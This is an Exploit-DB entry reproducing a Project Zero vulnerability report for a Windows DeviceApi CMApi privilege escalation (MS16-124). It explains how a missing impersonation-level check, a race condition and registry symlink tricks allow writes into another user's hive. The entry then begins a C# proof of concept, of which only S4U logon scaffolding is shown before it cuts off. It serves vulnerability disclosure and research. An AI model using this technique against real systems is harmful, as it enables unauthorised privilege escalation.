Exploit-DB #40574
Description: Microsoft Windows - DeviceApi CMApi User Hive Impersonation Privilege Escalation (MS16-124)
Type: local
Platform: windows
Date: 2016-10-18
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=875

Windows: DeviceApi CMApi User Hive Impersonation EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DeviceApi CMApi PnpCtxRegOpenCurrentUserKey function doesn’t check the impersonation level of the current effective token allowing a normal user to create arbitrary registry keys in another user’s loaded hive leading to elevation of privilege.

Description:

For some of the CMApi IOCTLs you can specify a flag, 0x100 which indicates you want the keys to opened in the user’s hive rather than the system hive. It finds the root key by calling PnpCtxRegOpenCurrentUserKey which calls ZwQueryInformationToken for the TOKEN_USER structure, converts the SID to a string, appends it to \Registry\User and opens the key in kernel mode. No part of this process verifies that the effective token isn’t an impersonation token at identification level, this means that capturing another user’s token, or using something like S4U we can impersonate another logged on user and write registry keys into their hive. Combined with the fact that registry keys are created with kernel privileges (even when dealing with user hives, when it clearly shouldn’t) when the keys are actually created the access check is bypassed.

The obvious way of exploiting this is to use the PiCMOpenDeviceKey IOCTL I’ve already reported in issue 34167. We can do a similar trick but instead symlink to keys inside the user’s hive to get elevation. One issue is that when the keys are created in kernel mode they’ll typically not be accessible by the user due to the default inherited permissions on a user’s hive. However there’s a winnable race between when the user hive is accessed and when the keys are created, by clearing the thread token from another thread at the right moment the user hive will be the target user but the keys are created as the current user. While this doesn’t directly give us access to the keys through the DACL it does mark us as the owner of the key and so we can open it for WRITE_DAC access and change the DACL to give us access, then do a similar symlink trick to 34167 to elevate privileges.

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targeted .NET 4 and above. It requires some setup first, to create the other user. Also this only demonstrates the arbitrary creation, it doesn’t attempt to win the race condition. 

1) Compile the C# source code file.
2) Create a second user on the local system as an admin, start a program running as that user so that their hive is loaded (using either runas or fast user switching).
3) Execute the PoC executable as a normal user, passing as an argument the name of the other user
3) The PoC should print that it failed to get the key (this is related to the key being opened under identification level impersonation) however using a registry viewer observe that under HKU\User-SID\SYSTEM\CurrentControlSet\Enum the device key’s been created.

Expected Result:
The key access should fail

Observed Result:
The key creation succeeds inside the other user’s hive.
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Principal;

namespace PoC
{
  /// <remarks>
  /// This sample uses S4U security, which requires Windows Server 2003 and a W2003 domain controller
  /// Copied from pinvoke.net with minor changes to get it to actually work.
  /// </remarks>
  public sealed class CCWinLogonUtilities
  {
    private CCWinLogonUtilities()
    {
    }

    #region "Win32 stuff"
    private class Win32
    {
      internal class OSCalls
      {
        public enum WinStatusCodes : uint
        {
          STATUS_SUCCESS = 0
        }

        public enum WinErrors : uint
        {
          NO_ERROR = 0,
        }
        public enum WinLogonType
        {
          LOGON32_LOGON_INTERACTIVE = 2,
          LOGON32_LOGON_NETWORK = 3,
          LOGON32_LOGON_BATCH = 4,
          LOGON32_LOGON_SERVICE = 5,
          LOGON32_LOGON_UNLOCK = 7,
          LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
          LOGON32_LOGON_NEW_CREDENTIALS = 9
        }

        // SECURITY_LOGON_TYPE
        public enum SecurityLogonType
        {
          Interactive = 2,    // Interactively logged on (locally or remotely)
          Network,        // Accessing system via network
          Batch,          // Started via a batch queue
          Service,        // Service started by service controller
          Proxy,          // Proxy logon
          Unlock,         // Unlock workstation
          NetworkCleartext,   // Network logon with cleartext credentials
          NewCredentials,     // Clone caller, new default credentials
          RemoteInteractive,  // Remote, yet interactive. Terminal server
          CachedInteractive,  // Try cached credentials without hitting the net.
          CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose
          CachedUnlock    // Cached Unlock workstation
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct LSA_UNICODE_STRING
        {
          public UInt16 Length;
          public UInt16 MaximumLength;
          public IntPtr Buffer;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct TOKEN_SOURCE
        {
          public TOKEN_SOURCE(string name)
          {
            SourceName = new byte[8];
            System.Text.Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0);
            if (!AllocateLocallyUniqueId(out SourceIdentifier))
              throw new System.ComponentModel.Win32Exception();
          }